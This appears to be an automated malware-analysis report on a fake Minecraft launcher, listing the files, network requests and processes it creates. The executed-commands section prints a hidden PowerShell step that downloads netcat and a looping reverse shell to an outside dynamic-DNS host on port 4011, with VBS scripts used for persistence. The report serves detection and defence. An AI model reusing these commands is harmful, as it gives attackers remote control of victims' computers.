Technical Information
Malicious functions
Executes the following
- '<SYSTEM32>\taskkill.exe' /IM nc.exe /F
Modifies file system
Creates the following files
- <Current directory>\mc.vbs
- %WINDIR%\temp\tar7bda.tmp
- %WINDIR%\temp\cab7bd9.tmp
- %WINDIR%\temp\tar66aa.tmp
- %WINDIR%\temp\cab66a9.tmp
- %WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\content\f0accf77cdcbff39f6191887f6d2d357
- %WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\metadata\f0accf77cdcbff39f6191887f6d2d357
- %WINDIR%\temp\tar3ad6.tmp
- %WINDIR%\temp\cab3ad5.tmp
- %WINDIR%\temp\tar24db.tmp
- %WINDIR%\temp\cab24da.tmp
- %WINDIR%\temp\tar24b9.tmp
- %WINDIR%\temp\cab24b8.tmp
- %WINDIR%\temp\tar2498.tmp
- %WINDIR%\temp\cab2497.tmp
- <Current directory>\minecraft\data\.minecraft\launcher_log.txt
- %APPDATA%\ncpi314\run.vbs
- <Current directory>\minecraft\shortcut to .minecraft.lnk
- <Current directory>\minecraft\launch.bat
- <Current directory>\minecraft\bin\minecraft.exe
- %WINDIR%\temp\cabe767.tmp
- %WINDIR%\temp\tare768.tmp
Deletes the following files
- %WINDIR%\temp\cab2497.tmp
- %WINDIR%\temp\tar2498.tmp
- %WINDIR%\temp\cab24b8.tmp
- %WINDIR%\temp\tar24b9.tmp
- %WINDIR%\temp\cab24da.tmp
- %WINDIR%\temp\tar24db.tmp
- %WINDIR%\temp\cab3ad5.tmp
- %WINDIR%\temp\tar3ad6.tmp
- %WINDIR%\temp\cab66a9.tmp
- %WINDIR%\temp\tar66aa.tmp
- %WINDIR%\temp\cab7bd9.tmp
- %WINDIR%\temp\tar7bda.tmp
- %WINDIR%\temp\cabe767.tmp
- %WINDIR%\temp\tare768.tmp
Network activity
TCP
HTTP GET requests
- http://x.##2.us/x.cer
- http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt
- http://o.##2.us//MEowSDBGMEQwQjAJBgUrDgMCGgUABBSLwZ6EW5gdYc9UaSEaaLjjETNtkAQUv1%2B30c7dH4b0W1Ws3NcQwg6piOcCCQCnDkpMNIK3fw%3D%3D
- http://s.##2.us/r.crl
- http://oc##.###tg2.amazontrust.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D
- http://oc##.####ca1.amazontrust.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwZ%2FlFeFh%2Bisd96yUzJbvJmLVg0%3D
UDP
- DNS ASK la#####rmeta.mojang.com
- DNS ASK x.##2.us
- DNS ASK microsoft.com
- DNS ASK o.##2.us
- DNS ASK s.##2.us
- DNS ASK oc##.###tg2.amazontrust.com
- DNS ASK oc##.####ca1.amazontrust.com
Miscellaneous
Searches for the following windows
- ClassName: 'EDIT' WindowName: ''
- ClassName: '' WindowName: ''
Creates and executes the following
- '<Current directory>\minecraft\bin\minecraft.exe' --workDir "<Current directory>\Minecraft\data\.minecraft"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "cd ~/AppData/Roaming/ncpi314/;taskkill /IM nc.exe /F;rm * Гў€“recurse -force;Invoke-WebRequest https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip -OutFile nc111nt.zip;Expand...' (with hidden window)
- '<SYSTEM32>\wscript.exe' %HOMEPATH%/AppData/Roaming/ncpi314/run.vbs' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "while($true){~/AppData/Roaming/ncpi314/nc.exe aaronjamt.ddns.net 4011 -e powershell; Start-Sleep -s 10}"' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c "cd Minecraft && LAUNCH.BAT"
- '<SYSTEM32>\wscript.exe' .\mc.vbs
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "cd ~/AppData/Roaming/ncpi314/;taskkill /IM nc.exe /F;rm * Гў€“recurse -force;Invoke-WebRequest https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip -OutFile nc111nt.zip;Expand...
- '<SYSTEM32>\wscript.exe' %HOMEPATH%/AppData/Roaming/ncpi314/run.vbs
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "while($true){~/AppData/Roaming/ncpi314/nc.exe aaronjamt.ddns.net 4011 -e powershell; Start-Sleep -s 10}"
